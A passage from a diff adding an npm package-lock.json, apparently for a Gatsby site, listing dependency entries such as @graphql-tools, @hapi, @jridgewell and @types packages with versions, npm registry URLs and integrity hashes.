+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+                    "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w=="
+                }
+            }
+        },
+        "@graphql-tools/schema": {
+            "version": "7.1.5",
+            "resolved": "https://registry.npmjs.org/@graphql-tools/schema/-/schema-7.1.5.tgz",
+            "integrity": "sha512-uyn3HSNSckf4mvQSq0Q07CPaVZMNFCYEVxroApOaw802m9DcZPgf9XVPy/gda5GWj9AhbijfRYVTZQgHnJ4CXA==",
+            "requires": {
+                "@graphql-tools/utils": "^7.1.2",
+                "tslib": "~2.2.0",
+                "value-or-promise": "1.0.6"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.2.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+                    "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w=="
+                }
+            }
+        },
+        "@graphql-tools/url-loader": {
+            "version": "6.10.1",
+            "resolved": "https://registry.npmjs.org/@graphql-tools/url-loader/-/url-loader-6.10.1.tgz",
+            "integrity": "sha512-DSDrbhQIv7fheQ60pfDpGD256ixUQIR6Hhf9Z5bRjVkXOCvO5XrkwoWLiU7iHL81GB1r0Ba31bf+sl+D4nyyfw==",
+            "requires": {
+                "@graphql-tools/delegate": "^7.0.1",
+                "@graphql-tools/utils": "^7.9.0",
+                "@graphql-tools/wrap": "^7.0.4",
+                "@microsoft/fetch-event-source": "2.0.1",
+                "@types/websocket": "1.0.2",
+                "abort-controller": "3.0.0",
+                "cross-fetch": "3.1.4",
+                "extract-files": "9.0.0",
+                "form-data": "4.0.0",
+                "graphql-ws": "^4.4.1",
+                "is-promise": "4.0.0",
+                "isomorphic-ws": "4.0.1",
+                "lodash": "4.17.21",
+                "meros": "1.1.4",
+                "subscriptions-transport-ws": "^0.9.18",
+                "sync-fetch": "0.3.0",
+                "tslib": "~2.2.0",
+                "valid-url": "1.0.9",
+                "ws": "7.4.5"
+            },
+            "dependencies": {
+                "is-promise": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz",
+                    "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ=="
+                },
+                "tslib": {
+                    "version": "2.2.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+                    "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w=="
+                }
+            }
+        },
+        "@graphql-tools/utils": {
+            "version": "7.10.0",
+            "resolved": "https://registry.npmjs.org/@graphql-tools/utils/-/utils-7.10.0.tgz",
+            "integrity": "sha512-d334r6bo9mxdSqZW6zWboEnnOOFRrAPVQJ7LkU8/6grglrbcu6WhwCLzHb90E94JI3TD3ricC3YGbUqIi9Xg0w==",
+            "requires": {
+                "@ardatan/aggregate-error": "0.0.6",
+                "camel-case": "4.1.2",
+                "tslib": "~2.2.0"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.2.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+                    "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w=="
+                }
+            }
+        },
+        "@graphql-tools/wrap": {
+            "version": "7.0.8",
+            "resolved": "https://registry.npmjs.org/@graphql-tools/wrap/-/wrap-7.0.8.tgz",
+            "integrity": "sha512-1NDUymworsOlb53Qfh7fonDi2STvqCtbeE68ntKY9K/Ju/be2ZNxrFSbrBHwnxWcN9PjISNnLcAyJ1L5tCUyhg==",
+            "requires": {
+                "@graphql-tools/delegate": "^7.1.5",
+                "@graphql-tools/schema": "^7.1.5",
+                "@graphql-tools/utils": "^7.8.1",
+                "tslib": "~2.2.0",
+                "value-or-promise": "1.0.6"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.2.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+                    "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w=="
+                }
+            }
+        },
+        "@hapi/address": {
+            "version": "2.1.4",
+            "resolved": "https://registry.npmjs.org/@hapi/address/-/address-2.1.4.tgz",
+            "integrity": "sha512-QD1PhQk+s31P1ixsX0H0Suoupp3VMXzIVMSwobR3F3MSUO2YCV0B7xqLcUw/Bh8yuvd3LhpyqLQWTNcRmp6IdQ=="
+        },
+        "@hapi/bourne": {
+            "version": "1.3.2",
+            "resolved": "https://registry.npmjs.org/@hapi/bourne/-/bourne-1.3.2.tgz",
+            "integrity": "sha512-1dVNHT76Uu5N3eJNTYcvxee+jzX4Z9lfciqRRHCU27ihbUcYi+iSc2iml5Ke1LXe1SyJCLA0+14Jh4tXJgOppA=="
+        },
+        "@hapi/hoek": {
+            "version": "8.5.1",
+            "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-8.5.1.tgz",
+            "integrity": "sha512-yN7kbciD87WzLGc5539Tn0sApjyiGHAJgKvG9W8C7O+6c7qmoQMfVs0W4bX17eqz6C78QJqqFrtgdK5EWf6Qow=="
+        },
+        "@hapi/joi": {
+            "version": "15.1.1",
+            "resolved": "https://registry.npmjs.org/@hapi/joi/-/joi-15.1.1.tgz",
+            "integrity": "sha512-entf8ZMOK8sc+8YfeOlM8pCfg3b5+WZIKBfUaaJT8UsjAAPjartzxIYm3TIbjvA4u+u++KbcXD38k682nVHDAQ==",
+            "requires": {
+                "@hapi/address": "2.x.x",
+                "@hapi/bourne": "1.x.x",
+                "@hapi/hoek": "8.x.x",
+                "@hapi/topo": "3.x.x"
+            }
+        },
+        "@hapi/topo": {
+            "version": "3.1.6",
+            "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-3.1.6.tgz",
+            "integrity": "sha512-tAag0jEcjwH+P2quUfipd7liWCNX2F8NvYjQp2wtInsZxnMlypdw0FtAOLxtvvkO+GSRRbmNi8m/5y42PQJYCQ==",
+            "requires": {
+                "@hapi/hoek": "^8.3.0"
+            }
+        },
+        "@iarna/toml": {
+            "version": "2.2.5",
+            "resolved": "https://registry.npmjs.org/@iarna/toml/-/toml-2.2.5.tgz",
+            "integrity": "sha512-trnsAYxU3xnS1gPHPyU961coFyLkh4gAD/0zQ5mymY4yOZ+CYvsPqUbOFSw0aDM4y0tV7tiFxL/1XfXPNC6IPg=="
+        },
+        "@jest/types": {
+            "version": "25.5.0",
+            "resolved": "https://registry.npmjs.org/@jest/types/-/types-25.5.0.tgz",
+            "integrity": "sha512-OXD0RgQ86Tu3MazKo8bnrkDRaDXXMGUqd+kTtLtK1Zb7CRzQcaSRPPPV37SvYTdevXEBVxe0HXylEjs8ibkmCw==",
+            "requires": {
+                "@types/istanbul-lib-coverage": "^2.0.0",
+                "@types/istanbul-reports": "^1.1.1",
+                "@types/yargs": "^15.0.0",
+                "chalk": "^3.0.0"
+            },
+            "dependencies": {
+                "ansi-styles": {
+                    "version": "4.3.0",
+                    "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+                    "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+                    "requires": {
+                        "color-convert": "^2.0.1"
+                    }
+                },
+                "chalk": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
+                    "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
+                    "requires": {
+                        "ansi-styles": "^4.1.0",
+                        "supports-color": "^7.1.0"
+                    }
+                },
+                "color-convert": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+                    "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+                    "requires": {
+                        "color-name": "~1.1.4"
+                    }
+                },
+                "color-name": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+                    "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+                },
+                "has-flag": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+                    "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+                },
+                "supports-color": {
+                    "version": "7.2.0",
+                    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+                    "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+                    "requires": {
+                        "has-flag": "^4.0.0"
+                    }
+                }
+            }
+        },
+        "@jridgewell/gen-mapping": {
+            "version": "0.1.1",
+            "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz",
+            "integrity": "sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==",
+            "requires": {
+                "@jridgewell/set-array": "^1.0.0",
+                "@jridgewell/sourcemap-codec": "^1.4.10"
+            }
+        },
+        "@jridgewell/resolve-uri": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz",
+            "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w=="
+        },
+        "@jridgewell/set-array": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz",
+            "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw=="
+        },
+        "@jridgewell/sourcemap-codec": {
+            "version": "1.4.14",
+            "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz",
+            "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw=="
+        },
+        "@jridgewell/trace-mapping": {
+            "version": "0.3.15",
+            "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.15.tgz",
+            "integrity": "sha512-oWZNOULl+UbhsgB51uuZzglikfIKSUBO/M9W2OfEjn7cmqoAiCgmv9lyACTUacZwBz0ITnJ2NqjU8Tx0DHL88g==",
+            "requires": {
+                "@jridgewell/resolve-uri": "^3.0.3",
+                "@jridgewell/sourcemap-codec": "^1.4.10"
+            }
+        },
+        "@lmdb/lmdb-darwin-arm64": {
+            "version": "2.5.2",
+            "resolved": "https://registry.npmjs.org/@lmdb/lmdb-darwin-arm64/-/lmdb-darwin-arm64-2.5.2.tgz",
+            "integrity": "sha512-+F8ioQIUN68B4UFiIBYu0QQvgb9FmlKw2ctQMSBfW2QBrZIxz9vD9jCGqTCPqZBRbPHAS/vG1zSXnKqnS2ch/A==",
+            "optional": true
+        },
+        "@lmdb/lmdb-darwin-x64": {
+            "version": "2.5.2",
+            "resolved": "https://registry.npmjs.org/@lmdb/lmdb-darwin-x64/-/lmdb-darwin-x64-2.5.2.tgz",
+            "integrity": "sha512-KvPH56KRLLx4KSfKBx0m1r7GGGUMXm0jrKmNE7plbHlesZMuPJICtn07HYgQhj1LNsK7Yqwuvnqh1QxhJnF1EA==",
+            "optional": true
+        },
+        "@lmdb/lmdb-linux-arm": {
+            "version": "2.5.2",
+            "resolved": "https://registry.npmjs.org/@lmdb/lmdb-linux-arm/-/lmdb-linux-arm-2.5.2.tgz",
+            "integrity": "sha512-5kQAP21hAkfW5Bl+e0P57dV4dGYnkNIpR7f/GAh6QHlgXx+vp/teVj4PGRZaKAvt0GX6++N6hF8NnGElLDuIDw==",
+            "optional": true
+        },
+        "@lmdb/lmdb-linux-arm64": {
+            "version": "2.5.2",
+            "resolved": "https://registry.npmjs.org/@lmdb/lmdb-linux-arm64/-/lmdb-linux-arm64-2.5.2.tgz",
+            "integrity": "sha512-aLl89VHL/wjhievEOlPocoefUyWdvzVrcQ/MHQYZm2JfV1jUsrbr/ZfkPPUFvZBf+VSE+Q0clWs9l29PCX1hTQ==",
+            "optional": true
+        },
+        "@lmdb/lmdb-linux-x64": {
+            "version": "2.5.2",
+            "resolved": "https://registry.npmjs.org/@lmdb/lmdb-linux-x64/-/lmdb-linux-x64-2.5.2.tgz",
+            "integrity": "sha512-xUdUfwDJLGjOUPH3BuPBt0NlIrR7f/QHKgu3GZIXswMMIihAekj2i97oI0iWG5Bok/b+OBjHPfa8IU9velnP/Q==",
+            "optional": true
+        },
+        "@lmdb/lmdb-win32-x64": {
+            "version": "2.5.2",
+            "resolved": "https://registry.npmjs.org/@lmdb/lmdb-win32-x64/-/lmdb-win32-x64-2.5.2.tgz",
+            "integrity": "sha512-zrBczSbXKxEyK2ijtbRdICDygRqWSRPpZMN5dD1T8VMEW5RIhIbwFWw2phDRXuBQdVDpSjalCIUMWMV2h3JaZA==",
+            "optional": true
+        },
+        "@mdx-js/util": {
+            "version": "2.0.0-next.8",
+            "resolved": "https://registry.npmjs.org/@mdx-js/util/-/util-2.0.0-next.8.tgz",
+            "integrity": "sha512-T0BcXmNzEunFkuxrO8BFw44htvTPuAoKbLvTG41otyZBDV1Rs+JMddcUuaP5vXpTWtgD3grhcrPEwyx88RUumQ=="
+        },
+        "@microsoft/fetch-event-source": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/@microsoft/fetch-event-source/-/fetch-event-source-2.0.1.tgz",
+            "integrity": "sha512-W6CLUJ2eBMw3Rec70qrsEW0jOm/3twwJv21mrmj2yORiaVmVYGS4sSS5yUwvQc1ZlDLYGPnClVWmUUMagKNsfA=="
+        },
+        "@mikaelkristiansson/domready": {
+            "version": "1.0.11",
+            "resolved": "https://registry.npmjs.org/@mikaelkristiansson/domready/-/domready-1.0.11.tgz",
+            "integrity": "sha512-nEBLOa0JgtqahmPrnJZ18epLiFBzxhdKgo4uhN3TaBFRmM30pEVrS9FAEV4tg92d8PTdU+dYQx2lnpPyFMgMcg=="
+        },
+        "@msgpackr-extract/msgpackr-extract-darwin-arm64": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/@msgpackr-extract/msgpackr-extract-darwin-arm64/-/msgpackr-extract-darwin-arm64-2.0.2.tgz",
+            "integrity": "sha512-FMX5i7a+ojIguHpWbzh5MCsCouJkwf4z4ejdUY/fsgB9Vkdak4ZnoIEskOyOUMMB4lctiZFGszFQJXUeFL8tRg==",
+            "optional": true
+        },
+        "@msgpackr-extract/msgpackr-extract-darwin-x64": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/@msgpackr-extract/msgpackr-extract-darwin-x64/-/msgpackr-extract-darwin-x64-2.0.2.tgz",
+            "integrity": "sha512-DznYtF3lHuZDSRaIOYeif4JgO0NtO2Xf8DsngAugMx/bUdTFbg86jDTmkVJBNmV+cxszz6OjGvinnS8AbJ342g==",
+            "optional": true
+        },
+        "@msgpackr-extract/msgpackr-extract-linux-arm": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/@msgpackr-extract/msgpackr-extract-linux-arm/-/msgpackr-extract-linux-arm-2.0.2.tgz",
+            "integrity": "sha512-Gy9+c3Wj+rUlD3YvCZTi92gs+cRX7ZQogtwq0IhRenloTTlsbpezNgk6OCkt59V4ATEWSic9rbU92H/l7XsRvA==",
+            "optional": true
+        },
+        "@msgpackr-extract/msgpackr-extract-linux-arm64": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/@msgpackr-extract/msgpackr-extract-linux-arm64/-/msgpackr-extract-linux-arm64-2.0.2.tgz",
+            "integrity": "sha512-b0jMEo566YdM2K+BurSed7bswjo3a6bcdw5ETqoIfSuxKuRLPfAiOjVbZyZBgx3J/TAM/QrvEQ/VN89A0ZAxSg==",
+            "optional": true
+        },
+        "@msgpackr-extract/msgpackr-extract-linux-x64": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/@msgpackr-extract/msgpackr-extract-linux-x64/-/msgpackr-extract-linux-x64-2.0.2.tgz",
+            "integrity": "sha512-zrBHaePwcv4cQXxzYgNj0+A8I1uVN97E7/3LmkRocYZ+rMwUsnPpp4RuTAHSRoKlTQV3nSdCQW4Qdt4MXw/iHw==",
+            "optional": true
+        },
+        "@msgpackr-extract/msgpackr-extract-win32-x64": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/@msgpackr-extract/msgpackr-extract-win32-x64/-/msgpackr-extract-win32-x64-2.0.2.tgz",
+            "integrity": "sha512-fpnI00dt+yO1cKx9qBXelKhPBdEgvc8ZPav1+0r09j0woYQU2N79w/jcGawSY5UGlgQ3vjaJsFHnGbGvvqdLzg==",
+            "optional": true
+        },
+        "@nodelib/fs.scandir": {
+            "version": "2.1.5",
+            "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
+            "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
+            "requires": {
+                "@nodelib/fs.stat": "2.0.5",
+                "run-parallel": "^1.1.9"
+            }
+        },
+        "@nodelib/fs.stat": {
+            "version": "2.0.5",
+            "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
+            "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A=="
+        },
+        "@nodelib/fs.walk": {
+            "version": "1.2.8",
+            "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
+            "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
+            "requires": {
+                "@nodelib/fs.scandir": "2.1.5",
+                "fastq": "^1.6.0"
+            }
+        },
+        "@pieh/friendly-errors-webpack-plugin": {
+            "version": "1.7.0-chalk-2",
+            "resolved": "https://registry.npmjs.org/@pieh/friendly-errors-webpack-plugin/-/friendly-errors-webpack-plugin-1.7.0-chalk-2.tgz",
+            "integrity": "sha512-65+vYGuDkHBCWWjqzzR/Ck318+d6yTI00EqII9qe3aPD1J3Olhvw0X38uM5moQb1PK/ksDXwSoPGt/5QhCiotw==",
+            "requires": {
+                "chalk": "^2.4.2",
+                "error-stack-parser": "^2.0.0",
+                "string-width": "^2.0.0",
+                "strip-ansi": "^3"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+                    "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA=="
+                },
+                "strip-ansi": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
+                    "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+                    "requires": {
+                        "ansi-regex": "^2.0.0"
+                    }
+                }
+            }
+        },
+        "@pmmmwh/react-refresh-webpack-plugin": {
+            "version": "0.4.3",
+            "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.4.3.tgz",
+            "integrity": "sha512-br5Qwvh8D2OQqSXpd1g/xqXKnK0r+Jz6qVKBbWmpUcrbGOxUrf39V5oZ1876084CGn18uMdR5uvPqBv9UqtBjQ==",
+            "requires": {
+                "ansi-html": "^0.0.7",
+                "error-stack-parser": "^2.0.6",
+                "html-entities": "^1.2.1",
+                "native-url": "^0.2.6",
+                "schema-utils": "^2.6.5",
+                "source-map": "^0.7.3"
+            },
+            "dependencies": {
+                "source-map": {
+                    "version": "0.7.4",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz",
+                    "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA=="
+                }
+            }
+        },
+        "@reach/router": {
+            "version": "1.3.4",
+            "resolved": "https://registry.npmjs.org/@reach/router/-/router-1.3.4.tgz",
+            "integrity": "sha512-+mtn9wjlB9NN2CNnnC/BRYtwdKBfSyyasPYraNAyvaV1occr/5NnB4CVzjEZipNHwYebQwcndGUmpFzxAUoqSA==",
+            "requires": {
+                "create-react-context": "0.3.0",
+                "invariant": "^2.2.3",
+                "prop-types": "^15.6.1",
+                "react-lifecycles-compat": "^3.0.4"
+            }
+        },
+        "@sideway/address": {
+            "version": "4.1.4",
+            "resolved": "https://registry.npmjs.org/@sideway/address/-/address-4.1.4.tgz",
+            "integrity": "sha512-7vwq+rOHVWjyXxVlR76Agnvhy8I9rpzjosTESvmhNeXOXdZZB15Fl+TI9x1SiHZH5Jv2wTGduSxFDIaq0m3DUw==",
+            "requires": {
+                "@hapi/hoek": "^9.0.0"
+            },
+            "dependencies": {
+                "@hapi/hoek": {
+                    "version": "9.3.0",
+                    "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.3.0.tgz",
+                    "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ=="
+                }
+            }
+        },
+        "@sideway/formula": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/@sideway/formula/-/formula-3.0.0.tgz",
+            "integrity": "sha512-vHe7wZ4NOXVfkoRb8T5otiENVlT7a3IAiw7H5M2+GO+9CDgcVUUsX1zalAztCmwyOr2RUTGJdgB+ZvSVqmdHmg=="
+        },
+        "@sideway/pinpoint": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/@sideway/pinpoint/-/pinpoint-2.0.0.tgz",
+            "integrity": "sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ=="
+        },
+        "@sindresorhus/is": {
+            "version": "0.14.0",
+            "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz",
+            "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ=="
+        },
+        "@sindresorhus/slugify": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/@sindresorhus/slugify/-/slugify-1.1.2.tgz",
+            "integrity": "sha512-V9nR/W0Xd9TSGXpZ4iFUcFGhuOJtZX82Fzxj1YISlbSgKvIiNa7eLEZrT0vAraPOt++KHauIVNYgGRgjc13dXA==",
+            "requires": {
+                "@sindresorhus/transliterate": "^0.1.1",
+                "escape-string-regexp": "^4.0.0"
+            },
+            "dependencies": {
+                "escape-string-regexp": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+                    "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA=="
+                }
+            }
+        },
+        "@sindresorhus/transliterate": {
+            "version": "0.1.2",
+            "resolved": "https://registry.npmjs.org/@sindresorhus/transliterate/-/transliterate-0.1.2.tgz",
+            "integrity": "sha512-5/kmIOY9FF32nicXH+5yLNTX4NJ4atl7jRgqAJuIn/iyDFXBktOKDxCvyGE/EzmF4ngSUvjXxQUQlQiZ5lfw+w==",
+            "requires": {
+                "escape-string-regexp": "^2.0.0",
+                "lodash.deburr": "^4.1.0"
+            },
+            "dependencies": {
+                "escape-string-regexp": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz",
+                    "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w=="
+                }
+            }
+        },
+        "@stackbit/gatsby-plugin-menus": {
+            "version": "0.0.4",
+            "resolved": "https://registry.npmjs.org/@stackbit/gatsby-plugin-menus/-/gatsby-plugin-menus-0.0.4.tgz",
+            "integrity": "sha512-WBcw7Xpk4uRwlWQV8xi95hjMoU1qzvMUxKB1N/aiq7WSKDSTVSN7v1yx1nsMSLzz8BWWLq43912/kEAot+GLiA==",
+            "requires": {
+                "lodash": "^4.17.11"
+            }
+        },
+        "@szmarczak/http-timer": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz",
+            "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==",
+            "requires": {
+                "defer-to-connect": "^1.0.1"
+            }
+        },
+        "@tokenizer/token": {
+            "version": "0.3.0",
+            "resolved": "https://registry.npmjs.org/@tokenizer/token/-/token-0.3.0.tgz",
+            "integrity": "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A=="
+        },
+        "@turist/fetch": {
+            "version": "7.2.0",
+            "resolved": "https://registry.npmjs.org/@turist/fetch/-/fetch-7.2.0.tgz",
+            "integrity": "sha512-2x7EGw+6OJ29phunsbGvtxlNmSfcuPcyYudkMbi8gARCP9eJ1CtuMvnVUHL//O9Ixi9SJiug8wNt6lj86pN8XQ==",
+            "requires": {
+                "@types/node-fetch": "2"
+            }
+        },
+        "@turist/time": {
+            "version": "0.0.1",
+            "resolved": "https://registry.npmjs.org/@turist/time/-/time-0.0.1.tgz",
+            "integrity": "sha512-M2BiThcbxMxSKX8W4z5u9jKZn6datnM3+FpEU+eYw0//l31E2xhqi7vTAuJ/Sf0P3yhp66SDJgPu3bRRpvrdQQ=="
+        },
+        "@types/acorn": {
+            "version": "4.0.6",
+            "resolved": "https://registry.npmjs.org/@types/acorn/-/acorn-4.0.6.tgz",
+            "integrity": "sha512-veQTnWP+1D/xbxVrPC3zHnCZRjSrKfhbMUlEA43iMZLu7EsnTtkJklIuwrCPbOi8YkvDQAiW05VQQFvvz9oieQ==",
+            "requires": {
+                "@types/estree": "*"
+            }
+        },
+        "@types/babel-types": {
+            "version": "7.0.11",
+            "resolved": "https://registry.npmjs.org/@types/babel-types/-/babel-types-7.0.11.tgz",
+            "integrity": "sha512-pkPtJUUY+Vwv6B1inAz55rQvivClHJxc9aVEPPmaq2cbyeMLCiDpbKpcKyX4LAwpNGi+SHBv0tHv6+0gXv0P2A=="
+        },
+        "@types/babylon": {
+            "version": "6.16.6",
+            "resolved": "https://registry.npmjs.org/@types/babylon/-/babylon-6.16.6.tgz",
+            "integrity": "sha512-G4yqdVlhr6YhzLXFKy5F7HtRBU8Y23+iWy7UKthMq/OSQnL1hbsoeXESQ2LY8zEDlknipDG3nRGhUC9tkwvy/w==",
+            "requires": {
+                "@types/babel-types": "*"
+            }
+        },
+        "@types/cacheable-request": {
+            "version": "6.0.2",
+            "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.2.tgz",
+            "integrity": "sha512-B3xVo+dlKM6nnKTcmm5ZtY/OL8bOAOd2Olee9M1zft65ox50OzjEHW91sDiU9j6cvW8Ejg1/Qkf4xd2kugApUA==",
+            "requires": {
+                "@types/http-cache-semantics": "*",
+                "@types/keyv": "*",
+                "@types/node": "*",
+                "@types/responselike": "*"
+            }
+        },
+        "@types/common-tags": {
+            "version": "1.8.1",
+            "resolved": "https://registry.npmjs.org/@types/common-tags/-/common-tags-1.8.1.tgz",
